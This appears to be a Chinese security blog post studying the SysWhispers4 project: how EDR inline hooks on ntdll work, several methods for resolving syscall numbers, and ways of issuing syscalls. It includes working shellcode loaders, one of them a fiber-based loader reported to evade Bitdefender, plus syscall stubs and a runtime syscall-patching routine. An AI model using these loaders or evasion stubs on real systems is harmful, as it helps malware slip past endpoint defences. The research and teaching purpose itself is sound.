以SysWhispers4项目学习系统调用
2026-06-20 16:29:34 # 防御规避

一、核心用途

1.1 项目架构

SysWhispers4是一个Windows NT系统调用桩代码(stub)生成器,它的核心目标是:绕过AV/EDR 在ntdll.dll上设置的用户态钩子,直接或间接地发起系统调用。

项目架构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SysWhispers4/
├── syswhispers.py # CLI 入口,解析参数,调用生成器
├── core/
│ ├── models.py # 数据模型:枚举 + 配置数据类
│ ├── generator.py # 代码生成引擎(~2340行,核心)
│ ├── obfuscator.py # 混淆工具:垃圾指令、egg、XOR、字符串加密
│ └── utils.py # 哈希函数(DJB2/CRC32/FNV-1a)、数据加载
├── data/
│ ├── prototypes.json # 64个 NT 函数原型(签名、参数、返回值)
│ ├── presets.json # 8个预设函数组合(common/injection/stealth等)
│ ├── syscalls_nt_x64.json # x64 SSN 表(Win7~Win11 24H2)
│ └── syscalls_nt_x86.json # x86 SSN 表
├── scripts/
│ └── update_syscall_table.py # 从 j00ru 自动更新 SSN 表
└── examples/
└── example_injection.c # 集成示例
层级 解决的问题 代表技术 核心作用
SSN 解析 如何获取系统调用号 静态 j00ru 表、Hell’s Gate、Halo’s Gate、Tartarus’ Gate、FreshyCalls、SyscallsFromDisk、RecycledGate、HW Breakpoint 找到目标 Nt/Zw 函数对应的 SSN
调用方式 如何执行 syscall 指令 Embedded、Indirect、Randomized、Egg Hunt 决定 syscall 指令在本模块执行,还是跳到 ntdll 中执行
逃逸技术 如何降低检测特征 SSN XOR、调用栈伪造、ETW/AMSI bypass、ntdll unhooking、反调试、睡眠加密、垃圾指令注入 降低静态扫描、用户态 Hook、调用栈检测和行为检测的命中率

简单来说,SysWhispers4可以理解为一个三层组合框架:先获取 SSN,再选择 syscall 执行方式,最后叠加规避手段降低检测特征。

1.2 何为Inline-hook

在这里先放段一个经典的创建线程执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <Windows.h>

// calc的shellcode
unsigned char buf[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};

int main() {

// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));

// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

// 等待线程执行完成
WaitForSingleObject(hThread, INFINITE);
}

在bitdefender环境下,用x64dbg运行编译的shellcode加载器,查看它的内存模块,多出了两个可疑的dll:atcuf64.dllbdhkm64.dll

PixPin_2026-06-08_23-26-02.png

我们看CreateThread最底层的ZwCreateThreadEx,它是进入Ring0的stub

PixPin_2026-06-08_23-29-52.png

正常来说未被Hook的Nt或Zw函数的stub都是按照x64 syscall 约定要求,进入内核前把第一个参数从 rcx 复制到 r10,并把系统调用号放入 Rax

1
2
3
4
5
6
7
8
mov r10,rcx
mov eax,CA
test byte ptr ds:[7FFE0308],1
jne ntdll.7FF84E0635D5
syscall
ret
int 2E
ret

其jmp 7FF84E170600 ,表明ZwCreateThreadEx函数入口被改写成跳转了到其他地方。

1
2
3
4
5
6
7
8
9
10
jmp 7FF84E170600
int3
int3
int3
test byte ptr ds:[7FFE0308],1
jne ntdll.7FF84E0635B5
syscall
ret
int 2E
ret

所以可以肯定NtCreateThreadEx的stub被Bitdefender Hook了,Jmp指令就是AV/EDR最常见 Inline-Hook ,它会跳转到atcuf64.dll这个dll中那里进行检查。

那么本篇文章就是来探讨解决方案:用系统调用,动态获取SSN,直接绕过Inline-Hook。

间接系统调用inject.exe → ntdll!NtAllocateVirtualMemory->通过syscall进入内核,syscall指令发生在ntdll.dll

直接系统调用inject.exe->通过syscall进入内核,syscall指令发生在inject2.exe

不过,直接使用系统调用创建线程执行shellcode,是否就能绕过Bitdefender呢?实际测试结果并不理想。

NtCreateThreadEx 为例,使用直接系统调用或间接系统调用确实可以绕过部分基于 ntdll inline hook 的用户态拦截,也可能避开静态扫描中的部分特征。但是一旦loader 运行,仍然被Bitdefender拦截。

PixPin_2026-06-20_14-15-27.png

换个思路,我们不再通过NtCreateThreadEx 创建新线程,而是使用纤程切换执行shellcode,避免触发“新线程执行可疑内存”这一类行为特征。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <Windows.h>

int main() {
unsigned char buf[] = {
0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
};

// 修改shellcode所在内存的保护属性为可读、可写、可执行
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);

// 将当前线程转换为纤程(轻量级线程)
ConvertThreadToFiber(NULL);

// 创建一个纤程对象,关联到shellcode作为纤程入口点,使用默认栈大小和无标志位
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);

// 切换到新创建的纤程,开始执行shellcode
SwitchToFiber(shellcodeFiber);

// shellcode执行完毕后,删除纤程对象
DeleteFiber(shellcodeFiber);

return 0;
}

可以看到轻松绕过,这也侧面说明问题并不只在于“有没有调用 CreateThread”或“有没有经过被 Hook 的 ntdll stub”。即使绕开了用户态hook,安全产品仍然可以从更高层的行为链路进行判断,例如:

  • 进程内出现可执行内存;
  • 内存权限从RW/RX/RWX发生异常变化;
  • shellcode在非正常模块区域执行;
  • 调用栈、返回地址或执行区域异常;
  • 行为序列符合典型 loader 特征。

换句话说,系统调用并不是万能的。它主要解决的是绕过 AV/EDR 在 ntdll.dll 上设置的 inline hook这一类问题,但并不能天然绕过行为分析、内存扫描、调用栈检测或内核侧遥测。

PixPin_2026-06-20_14-19-17.png

二、SSN 解析策略(怎么找到syscall编号)

2.1 FreshyCalls

原理:FreshyCalls不直接读取ntdll 函数入口中的 mov eax, SSN 指令,而是枚举 ntdll.dll 导出表中的 Nt* 系列函数,并按照函数导出地址从低到高排序。在常见Windows x64版本中,系统调用stub在 ntdll 中通常按照SSN递增顺序排列,因此排序后的数组下标可以被用来推算对应函数的SSN。

优点:实现简单,只枚举导出表,只使用导出名和导出地址,不读取函数入口字节。

①解析ntdll的 PE 导出表

PixPin_2026-06-10_20-40-58.png

这一步的目的就是:拿到ntdll中所有导出函数的名字和地址

②收集所有 Nt* 导出

PixPin_2026-06-10_20-44-23.png

注意:使用 SysWhispers4 原始项目的 FreshyCalls 算法在我本机上计算出的SSN是6,但实际的SSN是2,因为NtdllDefWindowProc_A、NtdllDefWindowProc_W、NtdllDialogWndProc_A、NtdllDialogWndProc_W这四个函数虽然是Nt开头,但不是真正的系统调用。

PixPin_2026-06-10_19-53-02.png

PixPin_2026-06-10_19-54-08.png

解决方法也很简单:排除Ntdll* 等非syscall导出,Nt后面必须跟大写字母(一般规律)

PixPin_2026-06-10_20-31-46.png

③按导出地址排序,得到FreshyCalls候选SSN,这是FreshyCalls的核心。

PixPin_2026-06-10_20-45-33.png

测试一下在有Bitdefender inline hook的情况下,是否还能正常获取SSN。可以看到下图我们计算出的NtAllocateVirtualMemory SSN = 24,而x64dbg调试出的NtAllocateVirtualMemory SSN = 0x18 = 24,没毛病。

计算出的NtCreateThreadEx SSN = 201 = 0xC9,而NtCreateThreadEx被Hook了,我们看它的下一个邻居
NtCreateThreadStateChange SSN = 0xCA,刚好是NtCreateThreadEx SSN的下一个编号。

PixPin_2026-06-10_20-52-35.png

2.2 Hell’s Gate

核心思路:从ntdll导出表找到Nt* 函数地址,直接读函数入口的机器码字节,扫描 4C 8B D1 B8()模式,提取紧随的 2 字节作为 SSN。

1
2
4C 8B D1    mov r10, rcx      ; 保存第1个参数(rcx 是 Win64 调用约定的参数1)
B8 XX XX mov eax, SSN ; 将 SSN 加载到 eax

项目作者在注释说了,它有一个致命问题: EDR hook会覆盖函数入口字节(4C 8B D1 B8 → E9 XX XX XX XX),模式匹配失败,SSN就拿不到了。

PixPin_2026-06-11_18-47-24.png

NtWriteVirtualMemory被Hook的情况

PixPin_2026-06-11_18-53-32.png

未被Hook能正确获取SSN

PixPin_2026-06-11_18-55-05.png

2.3 Halo’s Gate

Halo’s Gate是在Hell’s Gate的基础上发展起来的一种变体,和Hell’s Gate一样,读函数入口字节提取SSN。但被hook时不放弃,而是搜索附近的干净邻居函数,用邻居的SSN推算自己的SSN。

Windows的系统调用号(SSN)在内存中是连续且严格按照导出函数地址顺序排列的。如果目标函数被Hook了,它通常只会影响该函数开头的几个字节,而它在内存中向上或向下相邻的系统调用函数大概率是干净的(未被 Hook)。

①遍历 ntdll 的导出表,过滤出所有 Nt* 函数,按导出地址排序

PixPin_2026-06-11_19-22-58.png

②传统地狱之门检查(Clean Stub)

PixPin_2026-06-11_19-24-46.png

③如果当前函数被 Hook(未匹配到特征码),就搜索目标函数的上下干净邻居的SSN

  • delta(距离):控制搜索的步长
  • dir(方向)dir = -1 代表向低地址(索引减小)方向找。dir = 1 代表向高地址(索引增大)方向找。

内层的dir循环每次步进2dir += 2),所以dir的取值序列严格为:-1,然后是1。当外层delta增长时,实际检查的数组索引ni顺序如下:

  1. delta = 1, dir = -1 \rightarrow ni = myIdx - 1 (紧邻的上一个)
  2. delta = 1, dir = 1 \rightarrow ni = myIdx + 1 (紧邻的下一个)
  3. delta = 2, dir = -1 \rightarrow ni = myIdx - 2 (上两个)
  4. delta = 2, dir = 1 \rightarrow ni = myIdx + 2 (下两个)

在上下邻居中找找标准的Windows x64 Syscall Stub汇编特征码

1
2
mov r10, rcx    ; 4C 8B D1
mov eax, SSN ; B8 XX XX 00 00

找到之后,用统一公式计算目标函数的SSN:ssn = neighborSsn - (delta * dir),完美融合了向上和向下两种完全相反的搜索逻辑。

具体算法我不想多说了,问ai吧。

PixPin_2026-06-11_19-27-18.png

在bitdefender的环境下,能正确解析被Hook Nt函数的SSN。

PixPin_2026-06-11_19-46-02.png

2.4 Tartarus’ Gate

它在Halo’s Gate的基础上引入了更严苛的挂钩判定函数(IsHooked),并且将邻居搜索半径扩大到了16。

在Halo’s Gate中,判断一个函数是否被挂钩的标准是:只要没匹配到 4C 8B D1 B8 特征,程序就默认它被挂钩了,直接去盲找邻居。

而Tartarus’ Gate更加严谨:用一个辅助函数 IsHooked 来主动判断Nt函数的开头几个字节是否被Hook,这个辅助函数是Tartarus’ Gate 的精华,它罗列了主流安全软件最常用的几种Hook指令:

  1. pFn[0] == 0xE9u (Near JMP):直接强行跳转到EDR自身的检测模块
  2. pFn[0] == 0xFFu && pFn[1] == 0x25u (Far/Absolute JMP):如果EDR自己的内存模块离ntdll的距离超过了E9跳转的2GB限制,它就必须借用RIP相对寻址
  3. pFn[0] == 0xE8u (CALL):有些EDR会在这里放一个CALL指令进入检测函数,检测完后再通过ret返回或直接在函数内部还原上下文。
  4. pFn[0] == 0xCCu (INT 3):在敏感函数头放一个 0xCC,一旦触发,就通过注册的向量化异常处理(VEH)捕捉异常,在异常回调里审查调用栈。
  5. pFn[0] == 0xEBu (Short JMP):由于 ntdll 许多空白字节空间,EDR 先通过一个短跳转 (EB) 跳到附近几字节外的空闲区,再在空闲区拼接一个大跳转。

代码流程与Halo’s Gate大致一样,就是

  1. 通过 PEB 定位 ntdll,遍历 EAT 收集所有 Nt* 导出
  2. 按 VA 排序(插入排序),排序索引近似 SSN 顺序
  3. 对每个目标函数:
    • 先用 IsHooked() 检查入口字节(E9/FF25/E8/CC/EB)
    • 未 hook → 扫描 4C 8B D1 B8 提取 SSN
    • 已 hook → 搜索 ±16 邻居,跳过被 hook 的邻居
    • 从干净邻居推算:adjusted = neighborSsn - (delta * dir)
    • 负数保护:adjusted < 0 则跳过
    • ASM stub 从表中读 SSN,直接执行 syscall

下图就是 IsHooked 的实现

PixPin_2026-06-11_20-27-04.png

主流程代码

PixPin_2026-06-11_20-28-08.png

运行效果

PixPin_2026-06-11_20-34-48.png

说实话,与其主动猜测AV/EDR的Hook指令,不如检查前4字节是不是 4C 8B D1 B8,且没有合理的Syscall头部特征,就一律判定为Hooked。

2.5 SyscallsFromDisk

既然内存中的ntdll可能被hook,那就直接从磁盘上读一份干净的原始ntdll.dll。

ntdll.dll的数据来源有两个途径

  1. \KnownDlls\ntdll.dll:Windows启动时会把系统DLL预映射到 \KnownDlls\ 这个Section Object里,用 NtOpenSection + NtMapViewOfSection直接映射干净副本,连磁盘都不用读。但不是所有系统都有这个section。
  2. 磁盘直接读(上面方法失效后的fallback方案,SysWhispers4未实现这个途径):CreateFileW(“C:\Windows\System32\ntdll.dll”) 打开磁盘文件,CreateFileMappingW + MapViewOfFile映射到内存,磁盘上的ntdll.dll永远是干净的

PixPin_2026-06-19_19-43-38.png

有了ntdll的句柄之后,往后的大致流程是:

  1. 解析PE → 导出表(EAT)
  2. 遍历导出函数名,DJB2哈希匹配目标函数,获取其函数地址
  3. 直接从函数入口扫描最多32字节找到 4C 8B D1 B8 的字节序列,然后读第5-6字节(2字节小端序)组成 SSN

PixPin_2026-06-19_19-44-08.png

运行效果

PixPin_2026-06-19_16-51-09.png

2.6 RecycledGate

在前面介绍了FreshyCalls方案:只靠排序获取SSN,但是它需要手动排除一些非系统调用的Nt函数

而HellsGate只靠读字节获取SSN,不过当系统调用是stub被AV/EDR hooked了,那么就找不到 4C 8B D1 B8 的特征字节序列了。

RecycledGate把两种方法交叉验证:Nt函数排序后给一个候选SSN,特征字节序列匹配后给一个SSN,不一致时根据stub是否被hook决定信任哪个。

大致流程就是:

  1. 枚举所有Nt导出
  2. 按地址排序
  3. FreshyCalls获取SSN
  4. Hell’s Gate获取SSN,进行交叉验证,如果一致,则获取的SSN可信度最高。
  5. 不一致怎么办:不是常见Hook,就相信HellsGate方案的SSN,如果被Hook了,就相信FreshyCalls方案的SSN

枚举所有Nt导出

PixPin_2026-06-19_17-01-24.png

按照函数导出地址从低到高排序,之后通过FreshyCalls获取SSN。

PixPin_2026-06-19_17-05-15.png

用Hell’s Gate验证,扫描Stub是否存在 4C 8B D1 B8,如果存在,则进入下一步的交叉校验。

  • 如果FreshyCalls获取SSN与Hell’s Gate获取的SSN一致,那么则获取的SSN可信度高。

  • 如果不一致,则扫描stub是否存在常见的Hook,如果

    1
    JMP

    1
    JMP [rip]

    1
    INT3

    1
    short jump
    • 若stub没有被Hook,则认为Hell’s Gate获取的SSN可信度高
    • 反之,stub被Hook,则认为FreshyCalls获取的SSN可信度高

PixPin_2026-06-19_17-07-09.png

运行效果,下图是运行在bitdefender的环境下

PixPin_2026-06-19_17-37-54.png

下图是运行无任何Hook的环境下

PixPin_2026-06-19_17-41-00.png

2.7 HW Breakpoint

硬件断点靠DR寄存器,DR0-DR3存断点地址,DR7控制是否启用,我们开源将断点设在syscall指令处(不是函数入口),此时mov eax, SSN已经执行完,EAX里就是SSN。编写一个VEH异常处理函数,VEH Handler捕获 EXCEPTION_SINGLE_STEP,读取ContextRecord->Rax = SSN,跳过 syscall (Rip += 2),继续执行,不真正调用 syscall。

HW Breakpoint是目前最”干净”的方式,既不读可能被hook的字节,也不改代码,完全靠CPU硬件机制获取SSN。即使Stub被Hook了,如下面的例子,执行到syscall指令,其线程上下文中的EAX还是SSN。

1
2
3
4
5
6
7
8
9
10
jmp 7FF84E170600
int3
int3
int3
test byte ptr ds:[7FFE0308],1
jne ntdll.7FF84E0635B5
syscall
ret
int 2E
ret

代码实现细节可以参考项目源码,毕竟SysWhispers4是开源项目,下面就通过动态调试验证3个目标

  1. DR0是否被设置成目标Nt函数的syscall指令的地址
  2. 是否触发异常,且CPU执行流程跳转到VEH处理函数
  3. 即使目标系统调用stub被Hook的情况下,EAX/RAX存储的还是SSN

验证1:DR0是否被设置成目标Nt函数的syscall指令的地址。

其实也不用特意下断点,我的目标是 NtAllocateVirtualMemory,如果DR0正确设置成stub的syscall指令的地址,x64dbg会停在这里。可以观察到 DR0 = 00007FF96FFB06C2,而 NtAllocateVirtualMemory 的syscall指令地址 = 00007FF96FFB06C2

PixPin_2026-06-19_19-11-33.png

验证2:是否触发异常,且CPU执行流程跳转到VEH处理函数

首先在VehHandler下一个断点

PixPin_2026-06-19_19-15-22.png

然后继续运行程序,刚好停在了我下的断点处,说明已触发 EXCEPTION_SINGLE_STEP 异常,且跳转到了 VehHandler 异常处理函数。

PixPin_2026-06-19_19-16-12.png

验证3:即使目标系统调用stub被Hook的情况下,EAX/RAX存储的还是SSN

接下来,我换到BitDefender的环境下继续调试,在 VehHandler 下一个断点,然后继续调试到 mov dword ptr ds:[<g_CapturedSsn>],eax

1
00007FF63CE44F62 | 8905 14830900            | mov dword ptr ds:[<g_CapturedSsn>],eax 

观察Rax = 0x18 = 24,这说明即使目标系统调用stub被Hook的情况下,我们还是得到了 NtAllocateVirtualMemory 的正确SSN。

PixPin_2026-06-19_19-22-19.png

运行效果

PixPin_2026-06-19_19-28-51.png

三、调用方式(syscall 指令怎么执行)

方法 syscall 在哪 RIP 位置 抗静态扫描 抗动态检测 实现复杂度
Embedded 本进程 .text ntdll
Indirect ntdll 固定地址 ntdll
Randomized ntdll 随机地址 ntdll
Egg 本进程运行时替换 ntdll 最强

3.1 Embedded

原理: syscall指令写在自己的代码里,直接执行。例如下面的汇编代码

1
2
3
4
5
6
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR [SyscallTable + 0]
syscall ; ← 本进程内执行
ret
NtAllocateVirtualMemory ENDP

检测特征: RIP不在ntdll内,EDR通过RIP位置就能判断这不是正常调用。

PixPin_2026-06-19_20-35-47.png

3.2 Indirect

原理: SSN还是在自己代码里加载,但不执行syscall,而是jmp到ntdll里的 syscall;ret 的gadget。例如下面的汇编代码

1
2
3
4
5
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR [SsnTable + 0]
jmp QWORD PTR [SyscallAddrTable + 0] ; → ntdll 的 syscall;ret
NtAllocateVirtualMemory ENDP

检测特征: RIP在ntdll内,看起来像正常调用。但每次调用跳到同一个固定地址,行为模式可被统计。

PixPin_2026-06-19_20-38-54.png

3.3 Randomized

原理: 在ntdll的可执行段中扫描所有0F 05 C3(syscall;ret),收集到 64 个的池子里。每次调用时用rdtsc(CPU时间戳计数器)做随机源,从池中随机选一个。例如下面的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
NtAllocateVirtualMemory PROC
mov r10, rcx ; arg1 → r10
mov r11, rdx ; 保存 arg2(rdx 被 rdtsc 覆盖)
rdtsc ; eax = TSC 低 32 位(熵源)
xor eax, edx ; 混合高低位
and eax, 63 ; & 0x3F → 随机索引 [0,63]
lea rcx, [GadgetPool]
mov rcx, QWORD PTR [rcx + rax*8] ; rcx = 随机 gadget 地址
mov rdx, rdx ; 恢复 arg2
mov eax, DWORD PTR [SsnTable + 0]
jmp rcx ; → 随机的 ntdll syscall;ret
NtAllocateVirtualMemory ENDP

检测特征: 每次调用的RIP地址不同,行为模式随机化,难以通过单一地址或调用频率检测。

PixPin_2026-06-19_20-39-29.png

3.4 Egg

原理:磁盘上的二进制不含0F 05(syscall)。stub里放的是8 字节随机标记(egg)。运行时HatchEggs() 扫描自己的 .text 段,找到所有egg占位符并替换成0F 05 90 90 90 90 90 90(syscall + 6 NOP)。

ASM stub(编译时):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, DWORD PTR [SsnTable + 0]
DB 48h, B8h, DEh, ADh, BEh, EFh, CAh, FEh ; egg 占位符
ret
NtAllocateVirtualMemory ENDP

HatchEggs() 核心逻辑:
// 扫描自己的 .text 段
for (PBYTE p = textStart; p < textEnd - 8; p++) {
if (memcmp(p, eggPattern, 8) == 0) {
DWORD old;
VirtualProtect(p, 8, PAGE_EXECUTE_READWRITE, &old);
p[0] = 0x0F; p[1] = 0x05; // syscall
memset(p + 2, 0x90, 6); // 6 NOP
VirtualProtect(p, 8, old, &old);
}
}

检测特征: 磁盘静态扫描找不到0F 05,绕过基于签名的检测。但运行时内存中会出现syscall,动态检测仍可捕获。

PixPin_2026-06-19_20-40-47.png

四、总结

SysWhispers4的核心价值在于:通过动态获取SSN,并选择不同的syscall调用方式,绕过AV/EDR在 ntdll.dll 上设置的用户态inline hook。

但系统调用并不是万能的。它只能减少某些API hook带来的检测风险,并不能天然绕过行为分析、内存扫描、调用栈检测或内核侧监控。

从测试结果也可以看到,即使使用直接或间接系统调用创建线程执行shellcode,仍然可能被Bitdefender拦截。这说明安全产品关注的不只是调用了哪个API,而是完整的行为链路,例如可执行内存、异常执行区域、线程创建、调用栈和内存权限变化等。

因此,SysWhispers4 更适合作为理解Windows syscall、用户态Hook 和 EDR 检测机制的研究工具。它解决的是如何绕过 ntdll inline hook,而不是如何无条件绕过 EDR。

这篇文章也是本月的最后一篇。下个月计划继续写两篇文章,可能会先发在先知社区,然后再同步到个人博客。

第一篇文章会围绕 Convert2Shellcode 项目的完整重构方案展开,重点包括:

  1. 运行上下文构造
  2. 用户参数传递
  3. Rust程序不能直接转换为 shellcode 的问题(TLS Data)
  4. 调用DLL指定导出函数
  5. 清除旧PE数据
  6. 抹除映射后的PE特征
  7. x86 EXE转shellcode的支持
  8. Convert2Shellcode 与Iris Beacon睡眠混淆冲突的解决思路

第二篇文章会重点讨论Iris Beacon的功能重构设计,这里暂时不过多展开。

最后一个月,继续压榨一下自己,争取再给各位师傅带来两篇文章。回头看,从3月份开始每个月至少写一篇,居然也一路坚持到了现在,确实有点泪目 >.<

Prev
2026-06-20 16:29:34 # 防御规避